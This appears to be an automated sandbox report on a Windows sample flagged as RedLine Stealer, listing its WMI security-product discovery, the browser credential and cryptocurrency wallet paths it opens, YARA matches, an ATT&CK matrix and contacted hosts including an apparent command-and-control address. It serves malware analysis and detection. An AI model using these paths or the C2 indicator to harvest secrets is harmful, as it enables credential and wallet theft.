Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Users\user\Desktop\RgIbrhxoEx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Users\user\AppData\Roaming\LjGABleGAy.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Users\user\AppData\Roaming\LjGABleGAy.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RgIbrhxoEx.exe, 00000008.00000002.2243746245.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2351734880.0000000006D87000.00000004.00000020.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2326375186.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 7448, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 7448, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 7448, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	331 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RgIbrhxoEx.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
RgIbrhxoEx.exe	43%	Virustotal		Browse
RgIbrhxoEx.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\LjGABleGAy.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Roaming\LjGABleGAy.exe	43%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://ipinfo.io/ip%appdata%	0%	Virustotal		Browse
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
https://api.ip.sb	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	2%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Virustotal		Browse
https://api.ip.sb	0%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip	0%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://185.222.57.151:55615t-	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://185.222.57.151:55615/	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://185.222.57.151:55615	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnect	1%	Virustotal		Browse
http://185.222.57.151:55615	4%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://185.222.57.151:55615/	4%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
185.222.57.151:55615	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	1%	Virustotal		Browse
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdate	1%	Virustotal		Browse
http://tempuri.org/0	0%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	1%	Virustotal		Browse
185.222.57.151:55615	4%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironment	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.222.57.151:55615/	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
185.222.57.151:55615	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
